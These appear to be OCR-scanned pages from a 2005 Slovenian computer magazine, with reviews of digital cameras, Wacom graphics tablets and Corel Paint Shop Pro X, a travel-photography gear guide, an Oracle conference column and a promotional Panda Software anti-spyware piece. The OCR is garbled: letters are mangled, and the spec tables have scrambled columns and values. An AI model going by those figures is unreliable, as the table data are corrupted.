%e lepo polna. Serija V je namenjena tistim, ki jim
je pomembna tudi zunanjost. Kovinsko ohisje in
zanimivo razporejeni gumbi so glavna znacilnost
modela V550. Nekaj jih najdete na vrhu, kjer so
snovalci namestili glavne mo#nosti za fotografira-
nje, drugi so na zadnji strani. Glavna te¥ava je v
tem, da so dokaj majhni in jih bo nekdo z vegjo
»Sapo« le stezka dosegel. Torej ciljna skupina je
znana, predvsem Zenske. Pomemben del je na-
mred namenjen prikazu fotografij, ki jih, pazite
zdaj, lahko shranimo v posebno mapo v fotoapa-
ratu. Tako ga spremenite v okvir za slike, ki vam
jih nato lepo vrti po vrsti. Le zakaj bi na delovno
mizo postavljali slike svojih najdrajih, ¢e jih lah-
ko prikazujete kar na digitalnem fotoaparatu? S
tem namenom je zraven priloZena posebna posta-
ja, ki rabi poleg predvajanju fotografij $e polnje-
nju in povezavi z osebnim ratunalnikom. V550
je dokaj preprost za uporabo, poleg samodejnega
nadina ponuja Se vrsto scenskih nastavitev, od
fotografiranja hrane do fotografiranja v muzeju.
Delovanje je hitro, predvsem ostrenje, najpocas-
nejsi del pa je shranjevanje fotografij na pomnil-
nisko kartico. Kakovost slike je zelo dobra, tudi
pri vigjih [SO-ob¢utljivostih. Vsekakor zanimiv
fotoaparat, ki ponuja veliko tudi zahtevnej§im
uporabnikom. B

Fujifilm Finepix $9500 Kodak EasyShare V550

Informacije Eurofoto, d.0.0. Eurofoto, d.0.0. Avtera, d.0.0. Avtera, d.0.0. Image & Information, d.0.0.  Accord, 92 d.0.0.
Spletni naslov www.konicaminolta.com  www.konicaminolta.com www.canon.com WWW.Canon.com www.fuijifilm.com www.kodak.com
Cena 199.990 SIT 103.990 SIT 119.990 SIT 39.990 SIT 167.976 SIT 88.260 SIT
la umirjanje slike, moznosti  umirjanje slike, tanko hitrost, slika enostavna raba, oblika  razpon goriScnice, ISO  ohigje, ostrenje
ohisje
Proti omejen prikaz informacij kakovost slike, velikost  nekoliko visoka cena ISO le do 200 velikost majhni gumbi
wwicoipodasi ... [ /! | |
NajviSja locljivost 3008 x 2000 3264 x 2448 3072 x 2304 2048 x 1536 3488 x 2616 2690 x 1944
Tip in logljivost fipala CCD, 6 M CCD, 8 M CCD, 7 M CCD, 3M CCD,9M CCD, 5M
Objektiv (mm) objektivi KM AF, 1,5x 37 111 mm 37 111 mm 41131 mm 28 300 mm 36 108 mm
faktor
Razpon ¢asa 30s1/4000s+B 151/2500s 1551/2000 s 1s51/2000s 305 1/4000s 851/1500s
ObEutljivost IS0 80 3200 50200 50400 50200 80 1600 80400
Zaslonka - 3537 2,849 2,851 2,848 2,848
PomnilniSka kartica CompactFlash I, Il SD Card SD Card SD Card CompactFlash I, I, xD SD Card
Card
Umesnik USB USB USB USB USB USB
Teza 670g 185¢g 185 ¢ 165 g 745 g z baterijami 160 g
Baterije Liion Liion Liion 2 X AA 4 x AA Liion

66 MOJ MIKRO 10 OKTOBER 2005




PREIZKUSILI SMO ...

KAKO NA POT?

Fotografija pozna mnogo razlicnih slogov
in naCinov »risanja« s svetlobo. Popotna
fotografija tu ni izjema. Pri tem ima
oprema fotografov pomembno vlogo.

PiSe: Iztok Bonéina
iztok.boncina@mojmikro.si

\ "4
e bi bliskovito preleteli milijonsko mno-
Yico turistov in popotnikov, ki po svetu
lovijo motive s svojimi fotoaparati, bi
naleteli na zelo razli¢ne prijeme. Neka-
teri na hitro poslikajo okolico s svojimi »trotli«
in hitijo dalje, drugi si vzamejo &as, opazujejo
motiv, postavijo stojalo, uporabljajo odsevnike
ali bliskavico, si celo pomagajo z asistenti itd.
V fotografiji brez dvoma dr#i pregovor, da »ni
pomembno, kaksen fotoaparat ima3, temve¢ kaj
zna$ z njim narediti«. Vendar pa je na potova-
nju marsikateri posnetek obcutno boljsi in lepsi,
&e imamo kakovostno in za dolo¢en motiv pri-
merno opremo, ki jo seveda znamo uporabljati.
Oglejmo si nekaj osnovnih
in priporo¢ljivih pri-
merov fotografske
opreme, ki nam
na  potovanjih
omogoca posneti
skoraj vsak motiv
v razli¢nih razne-
rah. Ker so ideje in
Yelje pa tudi finan&ne
zmoznosti popotnih fo-
tografov razli¢ne, razdelimo opremo na  dve
kategoriji — recimo jima zafetna, amaterska in
»ta resna«, profesionalna.

Kodak EasyShare G360

__ |wmmmmmmmEs
EEEEEEEEEE |

Meditrade, d.o.o.
www.kodak.com

72.000 SIT
zajem videa

majhen razpon ISO

2690 x 1944
CCD,5M
34102 mm

451/1200's
80 160
f2,74,6
SD Card

USB
17049
2 X AA

FOTOAPARATI

Zadnje raziskave so pokazale, da se brez fotoa-
parata zelo teZko fotografira. Amater bo imel pri
sebi preprost, cenejsi, a obvezno zrcalni fotoa-
parat (analogni ali digitalni), ki omogo¢a ro&no
nastavljanje ?elenih funkcij. Za resno fotografi-
jo pozabite na »trotle«. Profesionalni fotograf si
bo seveda priskrbel bolj$ega, dra¥jega, s seboj pa
bo nosil vsaj $e enega rezervnega. Dodatni foto-
aparat te redi iz stiske, e se prvi pokvari, lahko
pa ga uporablja3 tudi isto¢asno, vendar z drugim
objektivom, druga¢nim filmom itd.

OBJEKTIVI

Popotni  fotograf %

zaletnik se bo za-
dovoljil z enim ob-
jektivom, obicajno
kaksnim super zu-
mom, ki bo pokrival
razpon npr. 28-200
mm. Bolj izkusen fo-
tograf bo »raztegnil«
mere objektivov od
zelo uporabnih 17 ali
19 mm pa vse tja do 300,
400 mm in ved. In to ne z enim objektivom
ampak vsaj s tremi klasi¢nimi - Sirokokotnim,
navadnim in teleobjektivom. Za povrh pa bo
v njegovi torbi tudi kakSen makro objektiv za
bli¥nje posnetke, morda »shift« za arhitekturo,
ribje oko in e kaj.

5 .
OMA 1519 4g.200mm 1355

T

|

STOJALD

Takoj za fotoaparatom je dobro stojalo na-
slednji najbolj priporo¢ljiv in uporaben kos
opreme. Slaba, majava, lomljiva in zapletena
stojala so stran vrZen denar (%al je na trgu kar
nekaj tak$nih). Tu tudi amaterjem svetujem,
naj ne bodo preve¢ skopuski in si kupijo dober
in mo¢an trinoznik. Tudi ¢e je manjsi in la%i
(npr. za pohode v gore) mora biti dovolj trden
in uravnoteZen, da zdr¥i te¥o fotoaparata s kaks-

nim dalj§im teleobjektivom. Samo pomislite,

kolikokrat fotografiramo v slabih sve-
tlobnih razmerah, z manj obcutlji-
vimi filmi, v veéerni ludi itd.
Za glavo stojala, na katero
pritrdimo fotoaparat, pri-

poro&am tisto z bunko.

BLISKAVICA
Bliskavica je zelo korist-
na v $tevilnih primerih - za
»odpiranje senc« pri raznih moti-
vih, dodajanje iskric v o&i ljudem
in ¥ivalim, navidezno zaustavljanje
gibajocih se predmetov in Se in Se.
Lahko se zadovoljite z manj$o na-
pravo ali celo bliskavico, vdelano
v fotoaparat, vendar vam to %e pri
razdalji nekaj metrov do motiva ne
koristi kaj prida. Kdor zna ceniti dober

fotografska oprema

vir dodatne svetlobe, bo kupil moénejso bliska-
vico. Ker ima bliskavica mo¢no in ostro svetlo-
bo, jo je koristno nekoliko zmeh¢ati z dodanimi
razprsilci svetlobe iz razli¢nih materialov.

FILTRI

Tako kot pri bliskavici je tudi pri uporabi fil-
trov najboljsi posnetek tisti, pri katerem nihce
ne ugotovi, da smo jih uporabljali. Pri popotni
fotografiji je le nekaj filtrov resni¢no uporab-
nih, ostali so bolj »umetnigki« dodatek.

- UV in skylight filtri so zelo koristni pred-
vsem za zai¢ito sprednje leCe objektiva.

- Polarizator zbrise neljube odseve s svetle¢ih
povrsin, nekoliko poudari barve in pod dologe-
nim kotom (90 stopinj glede na sonce) zatemni
modro nebo in izpostavi bele oblake. Uporaben
je tudi kot nevtralni sivi filter, ki zmanjsa koli-
&ino svetlobe,

- Topli oranZni filtri so razli¢no mo¢ni (ima-
jo tri osnovne stopnje — blago, srednjo in mo¢-
nejso) in dodajo toplejsi, rumeno/oran¥ni ton
posnetkom,

- Hladni modri filtri — tako kot topli imajo
tudi modri tri osnovne stopnje. Posnetke pre-
vle€ejo z bolj ali manj rahlim modrikastim od-
tenkom,

- Nevtralni sivi filtri v celoti ali samo do pol-
ovice zmanj§ajo koli¢ino svetlobe, ki pada na
film oziroma svetlobni senzor, ne vplivajo pa na
barve. Z njimi lahko npr. zatemnimo presvetlo
nebo, zmanj$amo prevelik kontrast med nebom
in temnejSo pokrajino in tako dosefemo boljso
osvetlitev.

DRUGE DROBNARIJE

- Dober ¢istilni pribor (¢etke, krpice ...) bo
podaljsal Zivljenjsko dobo fotoaparatu in objek-
tivom. Se zlasti &e ste zvesti obiskovalec pustav-
skih de%el.

- Ce vam je makro objektiv predrag, si lahko
pomagate s cenejsimi makro obro¢ki ali makro
le¢ami.

- Enako lahko tudi iz npr. 200 mm objektiva
naredite 400 mm, &e uporabite telekonverter,
ki dvakrat poveca goriste objektiva. Seveda pa
gre to nekoliko na ratun ostrine in svetlobne
moci.

- Ko fotografiramo s stojalom, je vsekakor
bolje, &e uporabljamo sproZilno vrvico. Pritisk
s prstom na spro¥ilo lahko strese fotoaparat in
posnetek je neoster.

- Pri natan&nem merjenju svetlobe nam véa-
sih svetlomer naSega fotoaparata ne da prave
vrednosti. Takrat je dobro imeti pri sebi sivo
karto pa tudi ro¢ni svetlomer je lahko v veliko
pomoc.

- Odsevniki iz blaga ali mo¢nega papirja do-
datno osvetlijo izbrani motiv. Lahko tudi zmeh-
&ajo svetlobo ali jo rahlo obarvajo v srebrnih
oziroma zlatih tonih.

- Vso »orofarno« bomo laZje prenagali v
modni, trpe?ni foto torbi ali nahrbtniku. Tudi
oprema bo varnej$aa pred poskodbami, udarci,
de¥jem, snegom, prahom ...
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Wacom Graphire 3 XL in Volito 2

PRITISK IN NATANCNOST

Tokrat smo preizkusili dve Wacomovi grafi¢ni tablici, namenjeni amaterski rabi. Serija Volito je dokaj nova, a je ze dobila drugo

razliCico. Tudi serija Graphire se je pomladila, tokrat Ze s tretjo razlicico.

PiSe:Alan Orlic BelSak
alan.orlic@mojmikro.si

o tehni¢nih znalilnostih sta si seriji

Volito in Graphire dokaj podobni, raz-

like so predvsem pri peresu, kjer Volito

nima dodatnega gumba, ob¢utljivega na
pritisk, na vrhu peresa in v tem, da Volito nima
priloZene miske. Poleg tega je serija Graphire
na voljo v ve¢ razli¢icah, tako po velikosti kot
dodatni programski opremi.

Wacom Volito 2

Za¢nimo torej z manj$o in novejSo tablico,
Volito 2. V paketu dobite poleg tablice 3e pisa-
lo in nekaj programske opreme, s katero lahko
takoj zacnete delati, tudi risarski program je
priloZen. Nastavitev je enostavna in hitra,
zaletnikom je namenjeno tudi inter-
aktivno uvajanje. Gonilnik je dokaj

konico, ki se ugrezne. Ob&utek je do-
ber in omogoca boljsi nadzor nad priti-
skom. Ceprav gre za vstopni model, Volito
pokaze veliko, predvsem tehnologko. Tablica
je natan&na, prav tako pritisk. Prednost Waco-
move tehnologije je v tem, da pisalo ne potre-
buje izvora energije in je s tem lahko
$e natancnejse.

Wacom Graphire 3
XL

Ceprav je Graphire
namenjen predvsem amater-
ski rabi, jo razen malce bolj »pla-
sti¢ne« izdelave ne lo¢i veliko od Waco-
movih profesionalnih izdelkov. V kompletu so
tablica, miska, pero in programska oprema.
Tablica je oblikovana tako, da pero shranimo v

preprost in ne ponuja prav veliko nastavitev.
Spreminjamo lahko nastavitve gumbov, tip
pritiska, razdaljo med dvakratnim klikom ter
sledenje peresu. Dodatne mo¥nosti so $e na-
stavitve delovne in aktivne povrSine ter nadin
sledenja peresu. Ta pozna absolutne ali relativ-
ne koordinate. Mo¥nosti za nastavitev je manj,
kot pri malce zmogljivej8i seriji Graphire, a
marsikateremu uporabniku niti niso pomemb-
ne. Pisalo ima dva gumba namesto enega in

utor, kar je uporabno predvsem za prenaganje,
na primer za uporabo s prenosnimi ra¢unalni-
ki. Delovna povrsina je velikosti A5 in je zelo
udobna za delo. V primerjavi z Volitom, ki ima
delovno povrsino velikosti A6, ima tukaj roka
vel dela, a je zato tablica $e natan¢nej$a. Go-
nilnik ponuja vrsto mo¥nosti, izkoristimo lah-
ko celo naklon pisala, ¢e to programska opre-
ma omogo¢a. Namestitev in priprava za delo
sta zelo preprosta in hitra. Nekaj asa potrebu-

uporaba svin¢nika pri natanénem retuSiranju
in izrisovanju v programu Photoshop. Tu hitro
opazimo prednosti, ki nam jih
pounja. Ce-
prav Se nis-
mo obvla-
dali gibov in
natanénosti,
nas je rezultat
retusiranja  pre-
) senetil. Izbrali smo
'{ sliko oCesa, v kateri je
e bilo polno motetih Zilic.
I:."'r Ce bi retugirali z migko, bi
kar naprej morali spreminjati
obmogje in jakost retusiranja. S
peresom pa le z razli¢no jakostjo
pritiska pridobimo Yeleni u¢inek. Hkrati nismo
izgubili strukture in razli¢nih tonov v oesu, kar
daje naraven videz o¢esu tudi po retusiranju. S
peresom se lahko zelo lepo izriSe najrazli¢nejse
grafi¢ne oblike, ki jih potrebujemo. Plos¢a je
zanimiva tudi za prave slikarske izdelke. Pod
prosojni del plos¢e lahko polozimo skico in &ez
njo s peresom prenesemo motiv v digitalno ob-
liko. Skratka, plos¢a je dobrodosel pripomocek
za vse, ki Zelijo svoje delo opravljati s slikarsko
natancnostjo.

UPORABA

Poglejmo si obe grafi¢ni tablici $e z vidika
uporabe. Veg&ja delovna povrsina je vsekakor
dobrodosla, saj je delo kljub ve¢jemu premi-
kanju roke natan¢nej$e in udobnejse. Manjsa
povrsina zahteva natan&nejse gibe, ki s¢asoma
postanejo naporni, &e veliko delamo s tabli-
co. Kot smo %e omenili, je uporabnost miske
dokaj omejena, predvsem zaradi tega, ker si s
pisalom delita isto delovno povrsino. Prepro-
steje je uporabljati klasicno misko, oziroma
e se pisala dovolj navadimo, le slednjega. Je
namre¢ odli¢na zamenjava za misko, pogresali
jo boste le v kaksnih igrah, kjer si z njim ne
morete veliko pomagati. Z grafi¢no tablico je
vedji del obdelave fotografij veliko hitrejsi,

predvsem tam, kjer moramo kaj popravljati,
rezati ali retu§irati. Ve&ja natan&nost in tudi do
petkrat hitrejSe delo sta glavni prednosti pred
misko. Primerna je tudi za slikarsko delo, saj
je na voljo kar nekaj programov, ki znajo opo-
nagati tako reko¢ vse mo¥ne slikarke tehnike

jemo, da osvojimo odziv in veli-
kost same plosée. Predvsem zdaj
bolj aktiviramo tudi levo roko
(velja za desniCarje), e zlasti
&e uporabljamo pero. Z njo vpi-
sujemo parametre, ki jih potre-

Wacom
Graphire 3 Classic XL

[Ocera | MENEEEEESES SESSSSEEEE |
[Skupnaocena | UNNENEEEES |EEEEEEEEES |

la natanénost natanénost, moznosti

Wacom
Volito 2

Proti omejene moznosti cena v primerjavi s bujemo, ne da bi izpuicali pero. in celo razli¢ne papirje. Seveda ima veja de-
konkurenco Desna roka pa je izrazito manj lovna povrsina prednost pri takinem delu. Ce

Splet naslov WWWACOTTTCO) obremenjena, saj za delo s pere- torej radi naknadno obdelujete in popravljate

Informacije Gregor d.0.0. som potrebujemo le ne?ne doti- svoje fotografije, so grafi¢ne tablice vsekakor

Cena 13.200 SIT 50.400 SIT ke na plos¢o. Brezzi¢na miska je vredne razmisleka.

Aktivna povrsina 127,6 x 92,8 mm 208,8 x 150,8 mm sicer dobrodogla pridobitev, ven-

Lotljivost 1016 dpi 2032 dpi dar ni nepogresljiv pripomo&ek.

Pritisk 512 stopenj 512 stopenj Predvsem se je izkazala plos¢ain W
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reSitve podjetja Panda Software

VARNO UPRAVLJANJE

ZA MOBILNE UPORABNIKE

anda Software je v svoje resitve za podjetja vkljucil funkcionalnost za upravljanje varnosti
v raéunalnikih zunaj podjetniskih omreZij (roaming). Vkljucevanje tovrstnih storitev odgo-
varja na zahteve trga z vse ve€jimi potrebami po upravljanju varnosti mobilnih delavcey,
bodisi da so povezani od doma, hotela ali v pisarnah strank, ne da bi bili odvisni od lokalnih
varnostnih kontrol.
Rast mobilnosti je oCitna: prodaja prenosnikov je leta 2003 narasla za 85 odstotkov v primerjavi z
11-odstotno rastjo trga namiznih racunalnikov. BrezZicni dostop Wi-Fi je zdaj vkljuCen v 25 milijonov
prenosnikov in po ocenah bo v manj kot treh letih 60 odstotkov uporabnikov dostopalo do inter-
neta prek mobilnih povezav. Danes imajo nekatere vodilne drzave na tehnoloSkem trgu prav koliko
lokalnih brezzZiénih omreZij kot tradicionalnih omreZij in ta trend se bo, kot je videti, nadaljeval.
Jasno je, da zagotavljanje dostopa z mobilnih naprav omogoca kakovost globalnih storitev, ki jih
omogoca podietje.
Zato naj bi varnostne pobude sledile smeri upravljanja raCunalnikov v tovrstnih omreZjih. Panda Soft-
ware v svoje nove resitve za podjetniSka okolja vkljuGuje storitev (roaming), ki uporabnikom zunaj do-
mene podjetja omogo¢a posodabljanje datoteke s podpisi in celo pridobiti porocila o stanju zas€ite.
To omogodi prek aplikacijskega streznika, na sistemih Windows ali Linux, znotraj ekstraneta pod-
jetja, ki ponuja spletno storitev (prek protokola HTTP) za posodabljanje in nadzor ra¢unalnikov, ki
se ne morejo posodobiti iz repozitorija, saj S0 zunaj podjetja. Z enostavno namestitvijo odjemalca na
mobilno napravo se lahko uporabniki poveZejo do storitev in ostanejo posodobljeni in sinhronizirani
s podjetiem ne glede na to, kje so. To jam¢i obema stranema varnost in integriteto z zas¢itnim siste-
mom podijetja. Nevtralizira eno najpomembnejsih lukenj v varnosti podjetja - mobilne uporabnike.
Ta enostaven sistem pomaga ustvariti varno delovno okolje z nizkimi stroski vzdrzevanja. Poleg
tega sistem roaming ni odvisen od strojne opreme ali programskih konfiguracij namestitev, saj
uporabljia multiplatformsko arhitekturo, kar zagotavlja veliko fleksibilnost v podjetjih s Stevilnimi
racunalniki.

(

VWVagags [ [ [ \
Kako se zascititi pred vohunskimi programi
Da se zaSCitite pred vohunskim programjem, je pomembno imeti varnostni paket, ki prepoznava
tako znane kot tudi neznane vohunske programe. Toda zavedajte se, da nobena reSitev ni nezmotljiva,
zato naj naéin uporabe interneta prav tako postane sredstvo za zmanj$anje verjetnosti sre¢anja z
nezelenimi programi.
1. Ker veliko vohunskih programov vstopi v racunalnike z izkoriS¢anjem ranljivosti, je pomemb-
no namestiti najnovejse varnostne popravke, ki jih zagotavljajo prodajalci programske opreme.
2. Skrbno preberite uporabniske licence vseh programov, ki jih nameScate na svoj ratunalnik, Se
posebej za brezplacne in preizkusne programe. Tovrstni programi pogosto namestijo vohunski
program (v zameno za uporabo aplikacije).
3. Bodite previdni pri vpisovanju naslovov v svoj brskalnik. Nekateri avtorji vohunskih programov
uporabljajo spletne strani (posebej narejene za pretakanje vohunskih programov) s podobnimi
imeni znanih spletnih mest (tak primer je googkle.com). Njihov namen je seveda izkoristiti pred-
nost tipkarskih napak za nameSc¢anje vohunskih programov v raéunalnike.
4. Ne nalagajte piratskih programov, glasbe, filmov ipd. Ne glede na pravne zadrzke so tovrstne
datoteke bogat vit za vse vrste Skodljivih programov, vklju¢no z vohunskimi.
5. Izogibajte se podtalnim spletnim mestom (povezanim z nelegalnim nalaganjem programov, he-
kerskimi orodiji in tehnikami ipd). Ne samo, da so taka spletna mesta pogosto narejena za
samodejno nalaganje vohunskih programov, temve¢ lahko vsebuijejo tudi aplikacije, ki lahko v
sisteme spustijo vse vrste nezelenih programov. )

8 Zascita pred drugo nadlogo b
1. Ne obiskujte spletnih strani prek povezav v neZeleni e-posti in bodite
pazljivi pri nalaganju ¢esarkoli z dvomljivih spletnih mest.

2.VzdrZujte sisteme posodobljene, posebej brskalnik, da preprecCite sa-
modejne namestitve trojancev.

3. PrepriCajte se, da imate varnostno resitev, ki ponuja dodatne metode za
boj s Skodljivimi programi. Dobra za$¢ita vkljucuije:

o stalne posodobitve, vsaj enkrat dnevno, da zagotovite zaS¢ito pred novi
mi zlonamernimi programskimi kodami, ki se stalno pojavljajo;

o proaktivno blokado za odkrivanje in ustavljanje novih, Se neznanih Skodljivin
programov, za katere Se niso dostopne rutine prepoznavanja;

o zaStito pred neZeleno e-posto (anti-spam) kot prvo obrambno vrsto pred
posto, ki lahko uporabnike pripelie do nevarnih spletnih mest;

o odkrivanje skript, ki izkoriSCajo ranljivosti, da se prepreci napade na spletnih
mestih, ki poskusajo samodejno namestiti trojance;

o zaStito pred »ribarjenjem podatkov«, saj narada Stevilo napadov, ki

uporabljajo trojance za krajo podatkov o banénih racunih spletnih bank

in drugih storitev.

. /

\
SPYXDUSEI' Panda Software je izdala novo spletno brezplaéno orodje
za pregledovanje na zahtevo, SpyXposer, namenjeno za uporabnike, ki
Zelijo pregledati svoj ratunalnik, ali vsebuje vohunsko programje (Spyware),
najvecjo vamostno nevarnost zadnjih mesecev. Lahko se uporablja po-
polnoma prosto in tako pogosto, kot je potrebno. Vsebuje vse tehnologije
Pande Software pri odkrivanju vohunskega programja in se posodablja
vsak dan. Orodje je mo¢ najti na spodnjem spletnem naslovu. Vse kar
uporabniki potrebujejo, je povezava v internet in z enostavnim klikom
lahko izvedejo pregled. SpyXposer hitro in u€inkovito odkriva vohunske
programe, tako da ga lahko uporabniki uporabijo tudi kot »drugo mnenje.
Panda Software je zacelo kampanjo »ni¢ ve¢ vohunskega programjac.
www.pandasoftware.com

A

\

Panda VPNSecure panda Software predstavija Panda VPNSecure,
reSitev »preglej in blokiraj« za preprecevanje vdora Skodljivega programja
in hekerjev v podjetniska omrezja med povezavami v navideznih zasebnih
omrezjih VPN (Virtual Private Network). Nova resitev Pande Software va-
ruje povezave VPN po obeh protkolih  IPSec in SSL. ReSitev zagotavlja,
da sistemi, ki niso del podjetniSkega omrezja, izpolnjujejo vzpostavijene
varnostne pravilnike. Razli¢ica Panda VPNSecure zahteva VPN-1 Pro pod-
jetij Check Point Software Technologies, Cisco, Stonesoft. )

\

Certifikati ICSA Imajo jih naslednji programi podjetja Panda Soft-
ware: Panda ExchangeSecure Antivirus, Panda ClientShield s tehnologija-
mi TruPreventTM

Certifikati CM panda pominoSecure Antivirus, Panda ClientShield s
tehnologijami TruPreventTM, Panda SambaSecure Antivirus

. /

ALI STE VEDELI ...
da jo Panda Software prva

ponudia dnevne,
samogene posodobitve!

S Panda ste korak pred nevamostmil
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promocijski ¢lanek Panda Software Slovenija



PROGRAMSKA OPREMA

Al

Ureja: Milan Sim€i¢ milan.simcic@mojmikro.si

Oraclov
odprti svet

rede kratkim sem se vrnil s srecanja
POracle OpenWorld v San Franciscu.
Ni¢& posebnega, boste rekli. Morda
res, a kaj &e vam povem, da se je konference
udelegilo 35.000 ljudi? Si predstavljate —
kar za manjSe mesto! Torej, najprej me je
presenetila mnoZica ljudi, ki se je konference
udelefila. Drugi¢ pa se clovek vpraa, kaksno
podjetje je Oracle, da pride na njihovo
konferenco toliko ljudi? To seveda pomeni, da
so wsi ti ljudje tesno povezani s programsko
opremo, ki jo Oracle prodaja ali pise.
Kljub vsem zadnjim nakupom bolj ali manj
konkurenénih his je to velika Stevilka.

Zanimivo je bilo opazovati ljudi, ki prisli so
na to konferenco. Ze na otvoritvi je mnogica
11.000 ljudi z zanimanjem prisluhnila
Charlesu Phillipsu, ki je predsednik
podjetja in je sve¢ano odprl konferenco. Tudi
njega samega je tolik§no Stevilo udelefencev
presenetilo in prav videlo se je, kako je
ponosen na to. Tako wvelik obisk so dosegli
2 zdrugitvijo ve¢ dogodkov. Poleg srecanja
Oracle OpenWorld sta bili pod isto streho Se
konferenci PeopleSoft Connect in Retek
World.

Nehote se mi vsiljuje primerjava s
slovensko NT konferenco, na kateri
se zbere 2000 obiskovalcev in smo wsi
zaprepadeni nad tolikinim zanimanjem.
Seweda, boste rekli, na Oracle Open World
so prisli ljudje 7 vsega sveta, nas Slovencew pa
je le dva milijona. Torej je primerjalno 2000
dober rezultat. Sploh ne gre za to! Cloveka
preprosto prevzame tolikina mnoZica ljudi
iz IT-sveta, ki se zbere na enem mestu, da
slisi, kaj je novega. Seveda me je prevzela
tudi ogromna gneca, ki se ji praktiéno ni
mogoce izogniti. Si predstavljate logistiko za
tak dogodek? Vi ti liudje morajo jesti, pred
strani3¢i ne sme biti vrst, zagotowiti je treba
dovolj wi-fi tock, da lahko ljudje prebirajo
elektronsko posto, precej racunalnikov pa
je bilo na voljo tudi za tiste, ki so prisli brex
notesnikov ali dlanénikov. Seveda mi ni treba
posebej govoriti o linjjah in komunikaciji, ki je
potekala brez teZav.

Da me ne bo kdo razumel narobe, nisem
%elel povedati, da nasa NT konferenca ni ni¢
posebnega niti ne Zelim ymanjSevati pomena
tega dogodka, rad bi le povedal, da se je
udelefiti tako velikega dogodka v I T-svetu res
nekaj posebnega.

|
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Corel Paint Shop Pro X

Paint Shop Pro je
bil do lanskega
leta izdelek
podjetja Jasc,
nova razli¢ica

pa je ze izpod
»peresax novih
lastnikov

Corela, ki je Ze
sicer najbol]
znan po graficnih
programih.

PiSe: Jernej Peéjak
jernej.peciak@mojmikro.si

isti, ki Paint Shop Pro %e poznajo, bodo
verjetno prvi trenutek neprijetno prese-
neleni, saj je uporabniski vmesnik prece;j
drugagen, kot so ga navajeni. Ko se neko-
liko navadimo na druga¢no podobo, kmalu ugo-
tovimo, da je uporabnost programa enaka, Corel
je le izboljsal v8e¢nost programa. Ta je po novem
privlatne;jsi za zaletnike in navduSence digital-
nih slik, ¢eprav bodo tudi profesionalci nasli do-
stojno konkurenco dra?jemu Photoshopu.

UCNI CENTER

Najopaznejsa sprememba je gotovo Learning
Center, ki je na levi strani vmesnika in se spre-
minja glede na funkcije, ki jih uporabljamo. Je
kot nekakSen meni, ki se prilagaja uporabi.
Na prvi stopnji denimo izberemo, ali %elimo
uvoriti slike, jih spreminjati, dodajati ucinke,
tiskati ipd. Druga stopnja je odvisna od prve.
Denimo, da izberemo obdelovanje slik. Odpre
se novo besedilo z izbiro rotacije, spreminjanja
velikosti ipd. Ko izberemo ustrezno, se pojavijo
nova navodila, ki nas vodijo do Zelenega rezul-
tata. Zelo privla&no za zaletnike, a nemotee
za naprednejse, saj lahko center tudi ugasne-
mo. Na dnu zaslona najdemo zelo priro¢no
paleto, s katero brskamo po slikah (Browser

STUDIO IN ALBUM V PAKETU

Paint Shop Pro v deseti razlicici prinaSa popolnoma prenovljen uporabniski
vmesnik ter nekaj novih moznosti, ki bodo navdusile zacetnike in zadovoljile
profesionalce. Zraven dohimo tudi standardno razli¢ico Corel Photo Album 6.

Palette), ki je prav tako mo¢no prenovljena in
vklju€ena v vmesnik.

NOVE FUNKCIJE

Precej je tudi novih funkcij. Ukaz Smart
Photo Fix zdruZuje najpogosteje uporabljene
uw¢inke in filtre za izboljSavo digitalnih foto-
grafij v enem samem koraku. Poleg orodja za
kloniranje objektov lahko zdaj te tudi odstra-
njujemo. Odstranjevalec rde¢ih o&i je danes
prisoten Ye skoraj v vsakem tovrstnem pro-
gramu, s posebnim sveZnjem orodij Makeover
pa dodatno olepsamo e subjekte. V ta namen
rabi kar nekaj filtrov: Toothbrush, Blemish Fi-
xer in Suntan Brush. Ce torej ¥elimo na sliki
osebke z zdravim zobovjem in dovolj zagorele,
je dovolj le nekaj klikov.

Corel Paint Shop Pro X

Kaj: Graficni program

Za: Odlicen vmesnik, nov »ucni center«, ogromno
moznosti.

Proti: Photo Album 6 je zgolj okrnjena razlicica,
vmesnik utegne zmotiti dolgoletne uporabnike.
Operacijski sistem: Windows 2000 XP

Cena: 129 dolarjev.

Spletni naslov proizvajalca: www.corel.com.



Sicer pa je vdelanih uginkov toliko, da jih
je tetko %e pregledati. Temu je namenjen po-
seben brskalnik po filtrih, ki poleg vsakega
prikaZe tudi predogled nage slike po izbiri do-
lo¢enega filtra.

Profesionalci bodo gotovo veseli moZnosti
uporabe 16 bitov barvne globine po kanalu kot
tudi podpore slikam zapisa RAW, ki so pogoste
v fotoaparatih visjega razreda.

Photo Shopu je prilofena tudi standardna
razli¢ica novega Photo Albuma 6, kar se je do
zdaj zgodilo prvi¢. Tako postaja paket konku-
rencen programu Adobe Photoshop Elements,
saj je namenjen isti ciljni skupini. Medtem
kot je Paint Shop Pro nekoliko zmogljivejsi
od Adobove konkurence, Corelovi standardni
razli¢ici Photo Albuma manjka marsikaj.

|

Gorel Photo Album 6 Deluxe Edition

Photo Album 6 je na voljo v dveh izvedbah
— klasi¢ni, ki je prilo¥ena programu Paint Shop
Pro X, in Deluxe, ki jo moramo kupiti posebe;j.

Medtem ko je Paint Shop Pro do%ivel pre-
cejdnje spremembe glede vmesnika, je Photo
Album 6 precej bolj podoben svojemu pred-
hodniku. Gre za program, ki poleg obdelave
digitalnih fotografij omogo¢a tudi shranjeva-
nje teh v foto albume in naknadno urejanje.
Sem sodijo iskanje slik, tiskanje, pogiljanje po
elektronski posti, urejanje zbirk ipd.

Takoj ko priklju¢imo digitalni fotoaparat v
ratunalnik, se samodejno sprozi novi Corelov
Photo Downloader, s katerim slike naloZimo v
racunalnik ter jih po potrebi zbrifemo iz foto-
aparata, vmes pa se prikaZejo sli¢ice, ki kaZejo
predogled posnetkov. Uporabnik lahko kadar-
koli prikli¢e zadnjih deset prenosov, torej vidi,
kaj je bilo novega nalo¥enega iz fotoaparata.
Nova moznost je tudi samodejno iskanje slik

kat, revijo, video CD ali spletno galerijo. Slike
lahko natisnemo, posljemo po e-posti ali pa
jih nastavimo kot ozadje namizja. Programu so
dodane nove predloge za vecino teh kategorij.
Novost je tudi samodejno shranjevanje slik
z varnostnimi kopijami na plosCe, kar ni ni&
posebnega, saj ne omogo¢a snemanja na druge
diske (plo3ce je namre¢ treba menjati, kar ni
samodejen proces). Orodje PhotoRecovery pa
omogoda priklic izbrisanih fotografij.

Skupaj s programom dobimo $e dodatno orod-
je RawShooter podjetja Pixmantic, ki omogoca
prevajanje fotografij zapisa RAW v druge zapise.
Program res ni odveg, saj Photo Album ne zna
brati zapisa RAW, kar je velik minus!

Corel Photo Album 6 ponuja kar precej
